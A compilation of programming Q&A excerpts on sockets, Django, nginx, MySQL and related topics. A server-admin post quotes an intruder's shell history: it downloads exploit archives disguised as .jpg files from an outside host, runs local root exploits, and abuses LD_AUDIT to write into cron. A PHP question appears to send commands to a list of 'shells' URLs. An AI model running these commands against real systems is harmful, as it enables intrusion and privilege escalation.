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  • how to multithread on a python server

    - by user3732790
    HELP please i have this code import socket from threading import * import time HOST = '' # Symbolic name meaning all available interfaces PORT = 8888 # Arbitrary non-privileged port s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print ('Socket created') s.bind((HOST, PORT)) print ('Socket bind complete') s.listen(10) print ('Socket now listening') def listen(conn): odata = "" end = 'end' while end == 'end': data = conn.recv(1024) if data != odata: odata = data print(data) if data == b'end': end = "" print("conection ended") conn.close() while True: time.sleep(1) conn, addr = s.accept() print ('Connected with ' + addr[0] + ':' + str(addr[1])) Thread.start_new_thread(listen,(conn)) and i would like it so that when ever a person comes onto the server it has its own thread. but i can't get it to work please someone help me. :_( here is the error code: Socket created Socket bind complete Socket now listening Connected with 127.0.0.1:61475 Traceback (most recent call last): File "C:\Users\Myles\Desktop\test recever - Copy.py", line 29, in <module> Thread.start_new_thread(listen,(conn)) AttributeError: type object 'Thread' has no attribute 'start_new_thread' i am on python version 3.4.0 and here is the users code: import socket #for sockets import time s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print('Socket Created') host = 'localhost' port = 8888 remote_ip = socket.gethostbyname( host ) print('Ip address of ' + host + ' is ' + remote_ip) #Connect to remote server s.connect((remote_ip , port)) print ('Socket Connected to ' + host + ' on ip ' + remote_ip) while True: message = input("> ") #Set the whole string s.send(message.encode('utf-8')) print ('Message send successfully') data = s.recv(1024) print(data) s.close

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  • Possible to capture all events in a web browser?

    - by David
    I am working on a pet project and am at the research stage. Quick summary I am trying to intercept all form submits, onclick, and every single keydown. My library of choice is either jquery, or jquery + prototypejs. I figure I can batch up the events into a queue/stack and send it back to the server in time interval batches to keep performance relatively stable. Concerns Form submits and change's would be relatively simple.. Something like $("form :inputs").bind("change", function() { ... record event... }); But how to ensure I get precedence over the applications handlers as I have a habit of putting return false on a lot of my form handlers when there is a validation issue. As I understand it, that effectively stops the event in its tracks. My project For my smaller remote clients I will put their products onto a VPS or run it in my home data center. Currently I use a basic authentication system, given a username/password they see the website and then hopefully send me somewhat sane notes on what is broken or should be tweaked. As a better solution, I've written a simple proxy web server that does the above but allows me to have one DNS entry and then depending on credentials it makes an internal request relaying headers and re-writing URLS as needed. Every single html/text or application/* request is compressed and shoved into a sqlite table so I can partially replay what they've done. Now I am shifting to the frontend and would like to capture clicks, keydown's, and submits on everything on the page.

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  • curl_multi_exec stops if one url is 404, how can I change that?

    - by Rob
    Currently, my cURL multi exec stops if one url it connects to doesn't work, so a few questions: 1: Why does it stop? That doesn't make sense to me. 2: How can I make it continue? EDIT: Here is my code: $SQL = mysql_query("SELECT url FROM shells") ; $mh = curl_multi_init(); $handles = array(); while($resultSet = mysql_fetch_array($SQL)){ //load the urls and send GET data $ch = curl_init($resultSet['url'] . $fullcurl); //Only load it for two seconds (Long enough to send the data) curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_multi_add_handle($mh, $ch); $handles[] = $ch; } // Create a status variable so we know when exec is done. $running = null; //execute the handles do { // Call exec. This call is non-blocking, meaning it works in the background. curl_multi_exec($mh,$running); // Sleep while it's executing. You could do other work here, if you have any. sleep(2); // Keep going until it's done. } while ($running > 0); // For loop to remove (close) the regular handles. foreach($handles as $ch) { // Remove the current array handle. curl_multi_remove_handle($mh, $ch); } // Close the multi handle curl_multi_close($mh);

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  • How To Share Information Between Django and Javascript?

    - by Randy
    So I am pretty new to both Django and Javascript (I am using JQuery) and I am wondering if I am doing a hack or if there are more slick ways to send client-side displayed database ids to the django server-side. Here is my process: I have a dataTable (http://datatables.net) that I am displaying rows of data by using the bProcessing option to use AJAX to retrieve records from the database. The URL in my urls.py is something like: url(r'^assets/activitylog/(?P<cid>.*)$', views.getActivityTable_ajax, name="activitylog_table"), and my dataTable ajax-relavant code is something like: "sAjaxSource": "/assets/activitylog/" + getIDFromHTML(), where the javascript function getIDFromHTML() grabs <cid> that is used by the Django view is simply: function getIDFromHTML(){ // Simply return the text in the #release_id div element from the HTML return $("#release_id").html(); }; This is the part that seems "hacky" to me. I am inserting into my template code the database id that I am using in the datatables URL (with display:none in the css) just so I can pass it back to the view. Most of this is necessitated because one cannot use django template tags in the javascript code unless the code is embedded into the HTML itself, which I am not (and will not) do. The only other thing that I have found is to change the URL to get rid of the parameter passed in to: url(r'^assets/activitylog', views.getActivityTable_ajax, name="activitylog_table"), and change the view code to: def getActivityTable_ajax(request): """Returns the activity for a given pid from HTTP GET ajax reqest""" pid = int(urlparse.urlparse(request.META['HTTP_REFERER']).path.split('/')[-1]) # rest of view code here... since the id that I need is on the end of this referer url. This way I don't have to monkey around with embedding the hidden database id into the HTML and passing it back to via ajax the the table population view code. Is it okay to use HTTP_REFERER in the request object in this manner? Am I going about this in the totally wrong way? Thanks in advance!

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  • Python CGI Premature end of script error depending on script parameters.

    - by nickengland
    I have a python script which should parse a file and produce some output to disk, as well as returning a webpage linking to the outputted files. When run with a file posted from the HTML form I get no HTML output back, just a 500 error page and the error_log contains the line: [Mon Apr 19 15:03:23 2010] [error] [client xxx.xxx.121.79] Premature end of script headers: uploadcml.py, referer: http://xxx.ch.cam.ac.uk:9000/ However, the files which the script should be saving are indeed saved to disk. If I run it without any arguments, the script returns the correct HTML indicating no file was parsed. All the information I have found on the web about Premature end of script headers implies it is due to either a missing header, or lack of permissions on the python script but neither can apply to me. The first lines of the script are: #!/home/nwe23/bin/bin/python import cgitb; cgitb.enable() import cgi import pybel,openbabel import random print "Content-Type: text/html" print so when run, I can see no way for it to fail to output the header, and it DOES output the header when run without a file to parse, but when given a file produces the error(but still parsed the file and saves the output to disk!). Does anyone know how this is happening and what can be done to fix it? I have tried adding wrongly-indented gibberish (such as foobar) at various points in the file, and this results in adding an indent error to the error_log wherever it is, even if its the very last line in the script. The Premature script headers error remains though. Does this mean the script is executing all the way through?

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  • Accessing Web.config directly in ASP.NET MVC 1

    - by Neil T.
    I'm trying to implement integration testing in my ASP.NET MVC 1.0 solution. The technologies in use are LINQ-to-SQL, NUnit and WatiN. I recently discovered a pattern that will allow me to create a testing version of the database on the fly without modifying the development version of the database. I needed this behavior in order to run my user interface tests in WatiN that may modify the database. The plan is to modify the connection string in the Web.config file, and pass that new connection string to the DataContext constructor. This way, I don't have to add routes or modify my URLs in order to perform the integration testing. I've set up the project so that the test setup can modify the connection string to point to the test database when the tests are running. The connection string is stored in web.config. The problem I'm having is that when I try to run the tests, I get a NullReferenceException when trying to access the HTTPContext. From everything that I have read so far, the HTTPContext is only available within the context of a controller. Here is the code for the property that is supposed to give me the reference to the Web.config file: private System.Configuration.Configuration WebConfig { get { ExeConfigurationFileMap fileMap = new ExeConfigurationFileMap(); // NullReferenceException occurs on this line. fileMap.ExeConfigFilename = HttpContext.Current.Server.MapPath("~\\web.config"); System.Configuration.Configuration config = ConfigurationManager.OpenMappedExeConfiguration(fileMap, ConfigurationUserLevel.None); return config; } } Is there something that I am missing in order to make this work? Is there a better way to accomplish what I'm trying to achieve?

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  • "rsAccessDenied" error for SSRS 2008

    - by JackLocke
    Hi All, I have been trying to access SSRS Web Service URL hxxp://myServer:80/ReportServer (from Reporting Service Configuration Manager), but my IE always shows "rsAccessDenied" message saying that my account doesn't have privilage required to view. Here are my system specs. Its my laptop with Windows 7 x64, and SQL Server 2008 with SP1 and I am using Mixed Mode Authentication with My account as SysAdmin privilages and this is what I have been trying / tried ... (ofcourse with restarting the service everytime I make any change in configuration), I changed service account from Reporting Service Configuration Manager to make it use My account but nothing happend. I tried running my IE as admin, by RUN AS ADMIN but still same message. Then I read somewhere I have to delete/recreate my encryption keys as well, so I tried again with that, then it was asking me to enter ID/PWD to access server here I am totally blank because it was not accepting my account credentials !!!. Weird thing is I can see my existing reports if I follow this URL hxxp://myServer:80/Reports , for which My guess is solely used to view reports. I have read post here about kind of same problem, but it seems that OP just left forum after asking question... Also, MSDN does have these helps hxxp://msdn.microsoft.com/en-us/library/ms156034.aspx hxxp://msdn.microsoft.com/en-us/library/bb630430.aspx but both of this didn't workout for me. I will really appriciate it if any one can help me out. Jack p.s. I was not allowed to post more than 1 URL because of my "reputation" so I had to change the string a bit. Please replace hxxp wih http in URLs.

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  • Using mod-rewrite to conditionally select existing file in a subdirectory based on Host header?

    - by Kevin Hakanson
    I'm working through a problem where I want to select a different static content file based on the incoming Host header. The simple example is a mapping from URLs to files like this: www.example.com/images/logo.gif - \images\logo.gif skin2.example.com/images/logo.gif - \images\skin2\logo.gif skin3.example.com/images/logo.gif - \images\skin3logo.gif I have this working with the following RewriteRules, but I don't like how I have to repeat myself so much. Each host has the same set of rules, and each RewriteCond and RewriteRule has the same path. I'd like to use the RewriteMap, but I don't know how to use it to map the %{HTTP_HOST} to the path. <VirtualHost *:80> DocumentRoot "C:/Program Files/Apache Software Foundation/Apache2.2/htdocs" ServerName www.example.com ServerAlias skin2.example.com ServerAlias skin3.example.com RewriteEngine On RewriteCond %{HTTP_HOST} skin2.example.com RewriteCond %{DOCUMENT_ROOT}$1/skin2/$2 -f RewriteRule ^(.*)/(.*) $1/skin2/$2 [L] RewriteCond %{HTTP_HOST} skin3.example.com RewriteCond %{DOCUMENT_ROOT}$1/skin3/$2 -f RewriteRule ^(.*)/(.*) $1/skin3/$2 [L] </VirtualHost> The concept behind the rules is if the same filename exists in a subdirectory for that host, use it instead of the direct targeted file. This uses host based subdirectories at the lowest level, and not a top level subdirectory to separate content.

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  • csrf error in django

    - by niklasfi
    Hello, I want to realize a login for my site. I basically copied and pasted the following bits from the Django Book together. However I still get an error (CSRF verification failed. Request aborted.), when submitting my registration form. Can somebody tell my what raised this error and how to fix it? Here is my code: views.py: # Create your views here. from django import forms from django.contrib.auth.forms import UserCreationForm from django.http import HttpResponseRedirect from django.shortcuts import render_to_response def register(request): if request.method == 'POST': form = UserCreationForm(request.POST) if form.is_valid(): new_user = form.save() return HttpResponseRedirect("/books/") else: form = UserCreationForm() return render_to_response("registration/register.html", { 'form': form, }) register.html: <html> <body> {% block title %}Create an account{% endblock %} {% block content %} <h1>Create an account</h1> <form action="" method="post">{% csrf_token %} {{ form.as_p }} <input type="submit" value="Create the account"> </form> {% endblock %} </body> </html>

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  • translate a PHP $string using google translator API

    - by Toni Michel Caubet
    hey there! been google'ing for a while how is the best way to translate with google translator in PHP, found very different ways converting URLS, or using Js but i want to do it only with php (or with a very simple solution JS/JQUery) example: //hopefully with $from_lan and $to_lan being like 'en','de', .. or similar function translate($from_lan, $to_lan, $text){ // do return $translated_text; } can you give me a clue? or maybe you already have this function.. my intention it's to use it only for the languages i have not already defined (or keys i haven't defined), that's why i wan it so simple, will be only temporal.. EDIT thanks for your replies we are now trying this soulutions: function auto_translate($from_lan, $to_lan, $text){ // do $json = json_decode(file_get_contents('https://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=' . urlencode($text) . '&langpair=' . $from_lan . '|' . $to_lan)); $translated_text = $json->responseData->translatedText; return $translated_text; } (there was a extra 'g' on variables for lang... anyway) it returns: works now :) i don't really understand much the function, so any idea why is not acepting the object? (now i do) OR: unction auto_translate($from_lan, $to_lan, $text){ // do // $json = json_decode(file_get_contents('https://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=' . urlencode($text) . '&langpair=' . $from_lan . '|' . $to_lan)); // $translated_text = $json['responseData']['translatedText']; error_reporting(1); require_once('GTranslate.php'); try{ $gt = new Gtranslate(); $translated_text = $gt-english_to_german($text); } catch (GTranslateException $ge) { $translated_text= $ge->getMessage(); } return $translated_text; } And this one looks great but it doesn't even gives me an error, the page won't load (error_report(1) :S) thanks in advance!

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  • Custom permalinks switching function. Please check this logic...

    - by Scott B
    I've got a setting in my theme options panel to allow the user to switch the permalinks setting to support friendly URLs. I'm only allowing /%postname%/ and /%postname%.html as options. I don't want to be triggering an htaccess rewrite everytime someone accesses a page on the site or views theme options, so I'm trying to code this to avoid that. I've got an input field in theme options that's called $myTheme_permalinks. The default value for this is "/%postname%/" but the user can also change it to "/%postname%.html" Here's the code at the top of theme options to handle this setting. Does this look sound? if(get_option('myTheme_permalinks') =="/%postname%/" && get_option('permalink_structure') !== "/%postname%/" || !get_option('myTheme_permalinks')) { require_once(ABSPATH . '/wp-admin/includes/misc.php'); require_once(ABSPATH . '/wp-admin/includes/file.php'); global $wp_rewrite; $wp_rewrite->set_permalink_structure('/%postname%/'); $wp_rewrite->flush_rules(); update_option('permalink_structure','/%postname%/'); update_option('myTheme_permalinks','/%postname%/'); } else if (get_option('myTheme_permalinks') =="/%postname%.html" && get_option('permalink_structure') !== "/%postname%.html" && ) { require_once(ABSPATH . '/wp-admin/includes/misc.php'); require_once(ABSPATH . '/wp-admin/includes/file.php'); global $wp_rewrite; $wp_rewrite->set_permalink_structure('/%postname%.html'); $wp_rewrite->flush_rules(); update_option('permalink_structure','/%postname%.html'); }

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  • JavaScript cookie value can't be retrieved in Django

    - by Boris Rusev
    I am trying to build a web site in both English and Bulgarian using the Django framework. My idea is the user should click on a button, the page will reload and the language will be changed. This is how I am trying to do it: In my html I hava a the button tag <button id='btn' onclick="changeLanguage();" type="button"> ... </button> An excerpt from cookies.js: function changeLanguage() { if (getCookie('language') == 'EN') { document.getElementById('btn').innerHTML = getCookie('language'); setCookie("language", 'BG'); } else { document.getElementById('btn').innerHTML = getCookie('language'); setCookie("language", 'EN'); } } function setCookie(sName, sValue, oExpires, sPath, sDomain, bSecure) { var sCookie = sName + "=" + encodeURIComponent(sValue); if (oExpires) { sCookie += "; expires=" + oExpires.toGMTString(); } if (sPath) { sCookie += "; path=" + sPath; } if (sDomain) { sCookie += "; domain=" + sDomain; } if (bSecure) { sCookie += "; secure"; } document.cookie = sCookie; } And in my views.py file this is the situation @base def index(request): if request.session['language'] == 'EN': return """<b>%s</b>""" % "Home" else request.session['language'] == 'BG': return """<b>%s</b>""" % "??????" So I know that my JS changes the value of the language cookie but I think Django doesn't get that. On the other hand when I set and get the cookie in my Python code again the cookie is set. My question is whether there is a way to make JS and Django work together - JavaScript sets the cookie value and Python only reads it when asked and takes adequate actions? Thank you.

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  • Piping EOF problems with stdio and C++/Python

    - by yeus
    I got some problems with EOF and stdio. I have no idea what I am doing wrong. When I see an EOF in my program I clear the stdin and next round I try to read in a new line. The problem is: for some reason the getline function immediatly (from the second run always, the first works just as intended) returns an EOF instead of waiting for a new input from py python process... Any idea? alright Here is the code: #include <string> #include <iostream> #include <iomanip> #include <limits> using namespace std; int main(int argc, char **argv) { for (;;) { string buf; if (getline(cin,buf)) { if (buf=="q") break; /*****///do some stuff with input //my actual filter program cout<<buf; /*****/ } else { if ((cin.rdstate() & istream::eofbit)!=0)cout<<"eofbit"<<endl; if ((cin.rdstate() & istream::failbit)!=0)cout<<"failbit"<<endl; if ((cin.rdstate() & istream::badbit)!=0)cout<<"badbit"<<endl; if ((cin.rdstate() & istream::goodbit)!=0)cout<<"goodbit"<<endl; cin.clear(); cin.ignore(numeric_limits<streamsize>::max()); //break;//I am not using break, because I //want more input when the parent //process puts data into stdin; } } return 0; } and in python: from subprocess import Popen, PIPE import os from time import sleep proc=Popen(os.getcwd()+"/Pipingtest",stdout=PIPE,stdin=PIPE,stderr=PIPE); while(1): sleep(0.5) print proc.communicate("1 1 1") print "running"

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  • build an API service in Django

    - by Peter
    Hi all, I want to build an API service using Django. A basic workflow goes like this: First, an http request goes to http://mycompany.com/create.py?id=001&callback=http://callback.com. It will create a folder on the server with name 001. Second, if the folder does not exist, it will be created. You get response immediately in XML format. It will look like: <?xml version="1.0" encoding="UTF-8"?> <response> <status> <statusCode>0</statusCode> <message>Success</message> </status> <group id="001"/> </response> Finally, the server will do its job (i.e. creating the folder). After it is done, the server does a callback to the URL provided. Currently, I use return render_to_response('create.xml', {'statusCode': statusCode, 'statusMessage': statusMessage, 'groupId': groupId, }, mimetype = 'text/xml') to send the XML response back. I have an XML template which has statusCode, statusMessage, groupId placeholders. <?xml version="1.0" encoding="UTF-8"?> <response> <status> <statusCode>{{ statusCode }}</statusCode> <message>{{ statusMessage }}</message> </status> {% if not statusCode %} <group id="{{ groupId }}"/> {% endif %} </response> But in this way I have to put step 3 before step 2, because otherwise step 3 will not be executed if it is after return statement. Can somebody give me some suggestions how to do this? Thanks.

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  • MySQLPython is ignoring my my.cnf file. Where does it get its information?

    - by ?????
    When I try to use MySQLPython (via SQLAlchemy) I get the error File "/opt/local/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/MySQL_python-1.2.3c1-py2.6-macosx-10.6-x86_64.egg/MySQLdb/connections.py", line 188, in __init__ super(Connection, self).__init__(*args, **kwargs2) sqlalchemy.exc.OperationalError: (OperationalError) (2002, "Can't connect to local MySQL server through socket '/opt/local/var/run/mysql5/mysqld.sock' (2)") None None but no other mysql client on my machine sees it fine! My my.cnf file states: [client] port = 3306 socket = /tmp/mysql/mysql.sock [safe_mysqld] socket = /tmp/mysql/mysql.sock [mysqld_safe] socket = /tmp/mysql/mysql.sock [mysqld] socket = /tmp/mysql/mysql.sock port = 3306 and the mysql.sock file is, indeed, located in /tmp/mysql I verified that ~/.my.cnf and /var/lib/mysql/my.cnf aren't overriding it. The mysql5 client program, etc, has no trouble connecting and neither does a groovy/grails installation on the same machine using jdbc/mysql connection thrilllap-2:~ swirsky$ mysql5 Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 6 Server version: 5.1.47 Source distribution Copyright (c) 2000, 2010, Oracle and/or its affiliates. All rights reserved. This software comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to modify and redistribute it under the GPL v2 license Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | test | +--------------------+ 2 rows in set (0.00 sec) mysql> Why can't MySQLdb for python figure this out? Where would it look if not the my.cnf files?

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  • Ubuntu Server hack [closed]

    - by haxpanel
    Hi! I looked at netstat and I noticed that someone besides me is connected to the server by ssh. I looked after this because my user has the only one ssh access. I found this in an ftp user .bash_history file: w uname -a ls -a sudo su wget qiss.ucoz.de/2010/.jpg wget qiss.ucoz.de/2010.jpg tar xzvf 2010.jpg rm -rf 2010.jpg cd 2010/ ls -a ./2010 ./2010x64 ./2.6.31 uname -a ls -a ./2.6.37-rc2 python rh2010.py cd .. ls -a rm -rf 2010/ ls -a wget qiss.ucoz.de/ubuntu2010_2.jpg tar xzvf ubuntu2010_2.jpg rm -rf ubuntu2010_2.jpg ./ubuntu2010-2 ./ubuntu2010-2 ./ubuntu2010-2 cat /etc/issue umask 0 dpkg -S /lib/libpcprofile.so ls -l /lib/libpcprofile.so LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping ping gcc touch a.sh nano a.sh vi a.sh vim wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh nano ubuntu10.sh ls -a rm -rf ubuntu10.sh . .. a.sh .cache ubuntu10.sh ubuntu2010-2 ls -a wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh ls -a rm -rf ubuntu10.sh wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe rm -rf W2Ksp3.exe passwd The system is in a jail. Does it matter in the current case? What shall i do? Thanks for everyone!! I have done these: - ban the connected ssh host with iptables - stoped the sshd in the jail - saved: bach_history, syslog, dmesg, files in the bash_history's wget lines

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  • CakePHP Routes: Messing With The MVC

    - by thesunneversets
    So we have a real-estate-related site that has controller/action pairs like "homes/view", "realtors/edit", and so forth. From on high it has been deemed a good idea to refactor the site so that URLS are now in the format "/realtorname/homes/view/id", and perhaps also "/admin/homes/view/id" and/or "/region/..." As a mere CakePHP novice I'm finding it difficult to achieve this in routes.php. I can do the likes of: Router::connect('/:filter/h/:id', array('controller'=>'homes','action'=>'view')); Router::connect('/admin/:controller/:action/:id'); But I'm finding that the id is no longer being passed simply and elegantly to the actions, now that controller and action do not directly follow the domain. Therefore, questions: Is it a stupid idea to play fast and loose with the /controller/action format in this way? Is there a better way of stating these routes so that things don't break egregiously? Would we be better off going back to subdomains (the initial method of achieving this type of functionality, shot down on potentially spurious SEO-related grounds)? Many thanks for any advice! I'm sorry that I'm such a newbie that I don't know whether I'm asking stupid questions or not....

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  • Django IntegrityError: foreign key violation upon delete

    - by Lukasz Korzybski
    I have Order and Shipment model. Shipment has a foreign key to Order. class Order(...): ... class Shipment() order = m.ForeignKey('Order') ... Now in one of my views I want do delete order object along with all related objects. So I invoke order.delete(). I have Django 1.0.4, PostgreSQL 8.4 and I use transaction middleware, so whole request is enclosed in single transaction. The problem is that upon order.delete() I get: ... File "/usr/local/lib/python2.6/dist-packages/django/db/backends/__init__.py", line 28, in _commit return self.connection.commit() IntegrityError: update or delete on table "main_order" violates foreign key constraint "main_shipment_order_id_fkey" on table "main_shipment" DETAIL: Key (id)=(45) is still referenced from table "main_shipment". I checked in connection.queries that proper queries are executed in proper order. First shipment is deleted, after that django executes delete on order row: {'time': '0.000', 'sql': 'DELETE FROM "main_shipment" WHERE "id" IN (17)'}, {'time': '0.000', 'sql': 'DELETE FROM "main_order" WHERE "id" IN (45)'} Foreign key have ON DELETE NO ACTION (default) and is initially deferred. I don't know why I get foreign key constraint violation. I also tried to register pre_delete signal and manually delete shipment objects before delete on order is called, but it resulted in the same error. I can change ON DELETE behaviour for this key in Postgres but it would be just a hack, I wonder if anyone has a better idea what's going on here. There is also a small detail, my Order model inherits from Cart model, so it actually doesn't have id field but cart_ptr_id and after DELETE on order is executed there is also DELETE on cart, but it seems unrelated? to the shipment-order problem so I simplified it in the example.

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  • Python and the self parameter

    - by Svend
    I'm having some issues with the self parameter, and some seemingly inconsistent behavior in Python is annoying me, so I figure I better ask some people in the know. I have a class, Foo. This class will have a bunch of methods, m1, through mN. For some of these, I will use a standard definition, like in the case of m1 below. But for others, it's more convinient to just assign the method name directly, like I've done with m2 and m3. import os def myfun(x, y): return x + y class Foo(): def m1(self, y, z): return y + z + 42 m2 = os.access m3 = myfun f = Foo() print f.m1(1, 2) print f.m2("/", os.R_OK) print f.m3(3, 4) Now, I know that os.access does not take a self parameter (seemingly). And it still has no issues with this type of assignment. However, I cannot do the same for my own modules (imagine myfun defined off in mymodule.myfun). Running the above code yields the following output: 3 True Traceback (most recent call last): File "foo.py", line 16, in <module> print f.m3(3, 4) TypeError: myfun() takes exactly 2 arguments (3 given) The problem is that, due to the framework I work in, I cannot avoid having a class Foo at least. But I'd like to avoid having my mymodule stuff in a dummy class. In order to do this, I need to do something ala def m3(self,a1, a2): return mymodule.myfun(a1,a2) Which is hugely redundant when you have like 20 of them. So, the question is, either how do I do this in a totally different and obviously much smarter way, or how can I make my own modules behave like the built-in ones, so it does not complain about receiving 1 argument too many.

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  • Install h5py in Mac OS X 10.6.3

    - by zyq524
    I'm trying to install h5py in Mac OS X 10.6.3. First I installed HDF5 1.8, which used the following commands: ./configure \ --prefix=/Library/Frameworks/Python.framework/Versions/Current \ --enable-shared \ --enable-production \ --enable-threadsafe \ CPPFLAGS=-I/Library/Frameworks/Python.framework/Versions/Current/include \ LDFLAGS=-L/Library/Frameworks/Python.framework/Versions/Current/lib make make check sudo make install Then install h5py: /Library/Frameworks/Python.framework/Versions/Current/bin/python \ setup.py \ build \ --api=18 \ --hdf5=/Library/Frameworks/Python.framework/Versions/Current Then I got the errors: Configure: Autodetecting HDF5 settings... Custom HDF5 dir: /Library/Frameworks/Python.framework/Versions/Current Custom API level: (1, 8) ld: warning: in detect/vers.o, file was built for unsupported file format which is not the architecture being linked (i386) ld: warning: in /Library/Frameworks/Python.framework/Versions/Current/lib/libhdf5.dylib, file was built for unsupported file format which is not the architecture being linked (i386) Undefined symbols: "_main", referenced from: start in crt1.10.5.o ld: symbol(s) not found collect2: ld returned 1 exit status Failed to compile HDF5 test program. Please check to make sure: * You have a C compiler installed * A development version of Python is installed (including header files) * A development version of HDF5 is installed (including header files) * If HDF5 is not in a default location, supply the argument --hdf5=<path> error: command 'cc' failed with exit status 1 I just updated my Xcode, I don't know whether this is because my gcc's default setting. If so, how can I get rid of this error? Thanks.

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  • Why can't I display a unicode character in the Python Interpreter on Mac OS X Terminal.app?

    - by apphacker
    If I try to paste a unicode character such as the middle dot: · in my python interpreter it does nothing. I'm using Terminal.app on Mac OS X and when I'm simply in in bash I have no trouble: :~$ · But in the interpreter: :~$ python Python 2.6.1 (r261:67515, Feb 11 2010, 00:51:29) [GCC 4.2.1 (Apple Inc. build 5646)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> ^^ I get nothing, it just ignores that I just pasted the character. If I use the escape \xNN\xNN representation of the middle dot '\xc2\xb7', and try to convert to unicode, trying to show the dot causes the interpreter to throw an error: >>> unicode('\xc2\xb7') Traceback (most recent call last): File "<stdin>", line 1, in <module> UnicodeDecodeError: 'ascii' codec can't decode byte 0xc2 in position 0: ordinal not in range(128) I have setup 'utf-8' as my default encoding in sitecustomize.py so: >>> sys.getdefaultencoding() 'utf-8' What gives? It's not the Terminal. It's not Python, what am I doing wrong?! This question is not related to this question, as that indivdiual is able to paste unicode into his Terminal.

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  • Cache AJAX requests

    - by Willem
    I am sending AJAX GET-requests to a PHP application and would like to cache the request returns for later use. Since I am using GET this should be possible because different requests request different URLs (e.g. getHTML.php?page=2 and getHTML.php?page=5). What headers do I need to declare in the PHP-application to make the clients browser cache the request URL content in a proper way? Do I need to declare anything in the Javascript which handles the AJAX-request (I am using jQuery's $.ajax function which has a cache parameter)? How would I handle edits which change the content of e.g. getHTML.php?page=2 so that the client doesn't fall back to the cached version? Adding another parameter to the GET request e.g. getHTML.php?page=2&version=2 is not possible because the link to the requested URL is created automatically without any checking (which is preferably the way I want it to be). How will the browser react when I try to AJAX-request a cached request URL? Will the AJAX-request return success immediately? Thanks Willem

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  • nginx 0.7.65 rewrite url with querystring problem?

    - by WisdomFusion
    Hi, all Recently, I altered my web server lighty to nginx. And now, Struggling with some problems. First, I have a site in nginx which only rewrites urls and redircts them to a new domain, and this site has exactly no file in its root directory. I put some rewrite rules (just string rules, no querystring) in my nginx.conf list 1 rewrite ^/index_([0-9]+)(.*)$ /forum-$1-1.html last; rewrite ^/dispbbs_([0-9]+)_([0-9]+)\.html$ /thread-$2-1-1.html last; Those rules work perfect till now. However, some rules that used to rewrite url with querystring do not work as hoped. list 2 location /index.asp { if ($arg_boardid ~ "^([0-9]+)") { rewrite ^ /forum-$arg_boardid-1.html break; } rewrite ^ /index.php break; } location /dispbbs.asp { rewrite ^ /thread-$arg_id-1-1.html break; } And, these rules are converted from rules under httpd server, list 3 ^/dispbbs\.asp\?boardID=([0-9]+)&ID=([0-9]+).*$ /thread-$2-1-1.html; ^/dispbbs\.asp\?(.*)&id=([0-9]+)(.*)$ /thread-$2-1-1.html; ^/index\.asp\?boardid=([0-9]+)(.*)$ /forum-$1-1.html; ^/index\.asp\?boardid=([0-9]+)$ /forum-$1-1.html; ^/index\.asp$ /index.php; So, what's the matter with rules listed in the list 2? and how could I make it woking. V/R, gavin

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  • wsgi django not working

    - by MaKo
    im installing django, the test for wsgi is ok, but when i point my default file to the django test, it doesnt work, this is the test that works fine: default: /etc/apache2/sites-available/default <VirtualHost *:80> ServerName www.example.com ServerAlias example.com ServerAdmin [email protected] DocumentRoot /var/www <Directory /var/www/documents> Order allow,deny Allow from all </Directory> WSGIScriptAlias / /home/ubuntu/djangoProj/micopiloto/application.wsgi <Directory /home/ubuntu/djangoProj/mysitio/wsgi_handler.py> Order allow,deny Allow from all </Directory> </VirtualHost> application.wsgi:: ~/djangoProj/micopiloto import os import sys sys.path.append('/srv/www/cucus/application') os.environ['PYTHON_EGG_CACHE'] = '/srv/www/cucus/.python-egg' def application(environ, start_response): status = '200 OK' output = 'Hello World!MK SS9 tkt kkk' response_headers = [('Content-type', 'text/plain'), ('Content-Length', str(len(output)))] start_response(status, response_headers) return [output] but if I change the default to point to application_sa.wsgi the django test, it doesnt work :( application_sa.wsgi import os, sys sys.path.append('/home/ubuntu/djangoProj/micopiloto') os.environ['DJANGO_SETTINGS_MODULE'] = 'micopiloto.settings' import django.core.handlers.wsgi application = django.core.handlers.wsgi.WSGIHandler() I restart the apache server every time i change the wsgi to test, so what im i missing? thanks a lot!

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  • Problem uploading app to google app engine

    - by Oberon
    I'm having problems uploading an app to the google-app-engine from my work place. I believe the problem is related to proxy, because I do not see the same problem when following the same procedure from home. (I do not specify HTTP_PROXY from home). These are the commands I run: HTTP_PROXY=http://proxy.<thehostname>.com:8080 HTTP_PROXY=https://proxy.<thehostname>.com:8080 appcfg.py --insecure update myappfolder When running the commands I get prompted for email and password, as expected, but after that it immediately exits with this errormessage: Error 302: --- begin server output --- <HTML> <HEAD> <TITLE>Moved Temporarily</TITLE> </HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000"> <H1>Moved Temporarily</H1> The document has moved <A HREF="https://www.google.com/accounts/ClientLogin">here</A>. </BODY> </HTML> --- end server output --- Note: I added the --insecure option because else it gave a warning of missing ssl module. Any idea how to solve or workaround this problem?

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